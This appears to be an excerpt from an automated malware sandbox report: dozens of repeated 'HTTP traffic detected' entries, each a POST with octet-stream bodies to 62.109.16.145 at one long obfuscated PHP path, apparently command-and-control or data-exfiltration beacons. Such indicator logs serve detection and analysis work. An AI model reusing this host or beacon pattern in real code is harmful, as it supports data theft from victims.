Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1740Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1752Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1752Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1032Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
